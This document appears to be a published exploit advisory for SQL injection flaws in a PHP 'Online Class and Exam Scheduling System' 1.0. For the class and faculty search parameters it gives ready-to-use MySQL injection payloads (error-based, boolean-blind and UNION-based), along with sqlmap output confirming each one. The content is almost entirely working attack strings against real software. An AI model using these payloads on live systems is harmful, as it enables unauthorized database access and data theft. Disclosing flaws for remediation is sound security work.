# Online Class and Exam Scheduling System-SQL injections

## Date: 2022-08/07

## Exploit Author: anx0ing@gmail.com

## Vendor Homepage:

https://www.sourcecodester.com

## Software Link:

https://www.sourcecodester.com/php/11353/online-class-and-exam-scheduling-system.html

## Version: 1.0

## /pages/class_sched.php

> `class` Parameters have SQL injection

### payload

```
class='||(SELECT 0x684d6b6c WHERE 5993=5993 AND (SELECT 2096 FROM(SELECT
COUNT(*),CONCAT(0x717a786b71,(SELECT
(ELT(2096=2096,1))),0x717a626271,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'&search=
```

### SQLMAP Test

```
sqlmap identified the following injection point(s) with a total of 845 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: class='||(SELECT 0x684d6b6c WHERE 5993=5993 AND (SELECT 2096 FROM(SELECT COUNT(*),CONCAT(0x717a786b71,(SELE
CT (ELT(2096=2096,1))),0x717a626271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a))||'&search=
---
[22:13:18] [INFO] the back-end DBMS is MySQL
[22:13:19] [WARNING] reflective value(s) found and filtering out
[22:13:19] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch
 '--hex'
web application technology: PHP 7.4.3, Apache 2.4.39
back-end DBMS: MySQL >= 5.0
```

## /pages/faculty_sched.php

> `faculty` Parameters have SQL injection

### payload

```
faculty=' OR (SELECT 2078 FROM(SELECT COUNT(*),CONCAT(0x716a717071,(SELECT
(ELT(2078=2078,1))),0x717a706a71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- uYCM&search=
```

### SQLMAP Test

```
sqlmap identified the following injection point(s) with a total of 150 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
    Payload: faculty=' OR NOT 3832=3832#&search=

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: faculty=' OR (SELECT 2078 FROM(SELECT COUNT(*),CONCAT(0x716a717071,(SELECT (ELT(2078=2078,1))),0x717a706a71
,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- uYCM&search=

    Type: UNION query
    Title: MySQL UNION query (NULL) - 11 columns
    Payload: faculty=' UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x716a717071,0x6d684b7a756870746665695850687241475958
4676456a484c73746b58574956715655476a4d7658,0x717a706a71),NULL,NULL,NULL,NULL,NULL,NULL#&search=
---
[22:22:54] [INFO] the back-end DBMS is MySQL
[22:22:54] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch
 '--hex'
web application technology: PHP 7.4.3, Apache 2.4.39
back-end DBMS: MySQL >= 5.0
```